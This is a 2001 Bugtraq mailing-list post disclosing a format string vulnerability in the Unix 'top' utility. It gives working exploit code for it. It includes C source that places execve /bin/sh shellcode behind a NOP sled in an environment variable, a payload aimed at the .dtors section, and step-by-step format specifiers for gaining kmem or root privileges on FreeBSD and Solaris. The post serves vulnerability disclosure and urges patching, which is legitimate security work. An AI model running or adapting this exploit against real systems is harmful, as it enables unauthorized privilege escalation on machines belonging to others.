top format string bug exploit code (exploitable)

From: SeungHyun Seo (s1980914@inhavision.inha.ac.kr)
Date: 07/25/01 

Date: Wed, 25 Jul 2001 19:24:29 +0900 (KST)
From: SeungHyun Seo <s1980914@inhavision.inha.ac.kr>
Message-Id: <200107251024.f6PAOT615354@inhavision.inha.ac.kr>
To: bugtraq@securityfocus.com
Subject: top format string bug exploit code (exploitable)

hi.
 
It still seems to be affected under 3.5beta9 (including this version)
someone said it's not the problem of exploitable vulnerability about 8 month ago ,
but it's possible to exploit though situation is difficult.
following code and some procedure comments demonstrate it.
 
possible to get kmem priviledge in the XXXXBSD which is still not patched,
possible to get root priviledge in solaris .
( have to guess return address in solaris, cuz of 0x08040000 .text region occurs segfault.)
 
i didn't test it on all other systems ... so check your systems now and if possible , do patch !
 
 
/*
 * freebsd x86 top exploit
 * affected under top-3.5beta9 ( including this version )
 *
 * 1. get the address of .dtors from /usr/bin/top using objdump ,
 *
 * 'objdump -s -j .dtors /usr/bin/top'
 *
 * 2. divide it into four parts, and set it up into an environment variable like "XSEO="
 *
 * 3. run top, then find "your parted addresses from "kill" or "renice" command like this
 *
 * 'k %200$p' or 'r 2000 %200$p'
 *
 * 4. do exploit !
 *
 * 'k %190u%230$hn' <== 0xbf (4)
 * 'k %190u%229$hn' <== 0xbf (3)
 * 'k %214u%228$hn' <== 0xd7 (2)
 * 'k %118u%227$hn' <== 0x77 (1)
 *
 * truefinder , seo@igrus.inha.ac.kr
 * thx mat, labman, zen-parse
 *
 */
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
#define NOP 0x90
#define BUFSIZE 2048
 
char fmt[]=
"XSEO="
/* you would meet above things from 'k %200$p', it's confirming strings*/
"SSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSSS"
/* .dtors's address in BSD*/
"\x08\xff\x04\x08"
"\x09\xff\x04\x08"
"\x0a\xff\x04\x08"
"\x0b\xff\x04\x08"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA"
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA";
 
/* might shellcode be located 0xbfbfd6? ~ 0xbfbfde? */
 
char sc[]=
"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f"
"\x62\x69\x6e\x89\xe3\x50\x53\x50\x54\x53"
"\xb0\x3b\x50\xcd\x80"; /* bigwaks 23 bytes shellcode */
 
int
main(void)
{
        char scbuf[BUFSIZE];
        char *scp;
 
        scp = (char*)scbuf;
        memset( scbuf, NOP, BUFSIZE );
 
        scp += ( BUFSIZE - strlen(sc) - 1);
        memcpy( scp, sc ,strlen(sc));
 
        scbuf[ BUFSIZE - 1] = '\0';
 
        memcpy( scbuf, "EGG=", 4);
 
        putenv(fmt);
        putenv(scbuf);
 
        system("/bin/bash");
}
 
 
 
++
Seo SeungHyun, Inha University Group of Research for Unix Security
IGRUS / khdp.org , Host / Network Security Laboratory, 4-207
[e-mail] seo@igrus.inha.ac.kr , [Office] +82-32-860-8676 ( ROK )

Relevant Pages